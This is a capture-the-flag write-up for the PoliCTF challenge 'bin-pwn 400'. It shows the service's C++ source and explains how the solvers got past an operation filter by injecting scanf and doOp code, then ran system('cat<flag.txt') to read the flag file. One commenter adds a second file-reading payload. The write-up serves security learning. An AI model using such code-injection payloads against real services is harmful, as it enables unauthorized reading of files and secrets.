PoliCTF Write-Up: bin-pwn 400
For this challenge, we were supposed to connect via SSH to a server hosted by the organizers. When connected, we were greated with the string “loS”, then a couple of dots (one new dot per second) and finally
ghItlh pIqaD (a..y)
As we all know, Google is a hackers greatest weapon, so let’s throw that into Google. Just searching for the first term shows us that this is Klingon o_O We found a translator, that tells us that we are appearantly supposed to “Write in klingon alphabet”. So, we looked up the klingon alphabet and tried a couple of chars. When we tried “ch”, we got
ghItlh teywI' pong (main.cpp, ...)
as the result. This roughly translates to “Write file name” and there is a hint! So let’s try to enter “main.cpp” and see what happens here…
#include "prompt.h" #include <iostream> #include <cstdlib> #include <unistd.h> #include <pthread.h> using namespace std; void *timeout(void*) { sleep(60); cout<<"Dor"<<endl; exit(0); } int main() { pthread_t t; pthread_create(&t,0,timeout,0); cout<<"loS "; cout.flush(); for(int i=0;i<10;i++) { sleep(1); cout<<'.'; cout.flush(); } cout<<endl; Prompt prompt; prompt.run(); return 0; }
Ok, so this the main file. It includes a custom header file called “prompt.h”. So, let’s look at that and the .cpp file belonging to it. The h shows us:
#pragma once #include "data.h" #include <string> class Prompt { public: Prompt() { op[0]="result=mean+variance"; op[1]="result=mean+2*variance"; op[2]="result=mean+3*variance"; op[3]=";"; } void run(); private: bool execute(const std::string& command); void dump(); void add(); void addOp(); void get(); std::string op[4]; Data<float> data; };
The cpp shows us:
#include "prompt.h" #include "util.h" #include <iostream> #include <fstream> #include <iomanip> using namespace std; void Prompt::run() { string line; cout<<"ghItlh pIqaD (a..y)"<<endl; while(getline(cin,line)) { if(line.empty()) return; if(execute(line)) cout<<"Qagh ghItlhqa'"<<endl; else cout<<"ghItlh pIqaD (a..y)"<<endl; } } bool Prompt::execute(const string& command) { static const string alphabet[]= { "a", "b", "ch", "D", "e", "gh", "H", "I", "j", "l", "m", "n", "ng", "o", "p", "q", "Q", "r", "S", "t", "tlh", "u", "v", "w", "y" //,"'" }; bool found=false; for(int i=0;i<sizeof(alphabet)/sizeof(alphabet[0]);i++) { if(command!=alphabet[i]) continue; found=true; break; } if(found==false) return true; if(command=="ch") { dump(); } else if(command=="gh") { add(); } else if(command=="ng") { addOp(); } else if(command=="tlh") { get(); } else { cout<<"Hutlh"<<endl; } return false; } void Prompt::dump() { cout<<"ghItlh teywI' pong (main.cpp, ...)"<<endl; string name; getline(cin,name); bool ok=false; if(name=="main.cpp") ok=true; if(name=="prompt.h") ok=true; if(name=="prompt.cpp") ok=true; if(name=="data.h") ok=true; //if(name=="flag.txt") ok=true; if(ok==false) { cout<<"Qagh"<<endl; return; } string line; int i=1; ifstream in(name.c_str()); while(getline(in,line)) cout<<setw(3)<<i++<<" "<<line<<endl; } void Prompt::add() { cout<<"ghItlh De'"<<endl; float temp; cin>>temp; cin.get(); data.add(temp); } void Prompt::addOp() { cout<<"ghItlh Qap"<<endl; string newop; getline(cin,newop); if(check(newop) || newop.length()>80) cout<<"Qagh"<<endl; else op[3]=newop; } void Prompt::get() { cout<<"ghItlh Qap (0..3)"<<endl; int opNum; cin>>opNum; cin.get(); if(opNum<0 || opNum>3) cout<<"Qagh"<<endl; else data.get(op[opNum]); }
Another piece of information we gather from this is the fact that we want to read “flag.txt”. And we can define our own operation on the data we put in. The addOp method checks our string somehow. We looked through all files we could access, but could not find the filter function. Blind guessing showed that we could use none of the interesting operations like system, fopen, popen, …
Our idea now was to try and inject our own code, evading the filter. So, we entered the following function code:
char* t;scanf("%s",t);doOp(t);
Now, when executing the “tlh” call, we were prompted again for a string. We just used
system("cat<flag.txt")
and could retrieve the flag “jbvenvinvpek2envi2n”.
Guys, this was bin-pwn 400, not 300
You are right, will fix that later
Huh, didn’t notice the filter at all.
I simply used streams for reading (copied the stuff from dump function):
string line; ifstream in(“flag.txt”); while(getline(in,line)) cout<<line<<endl;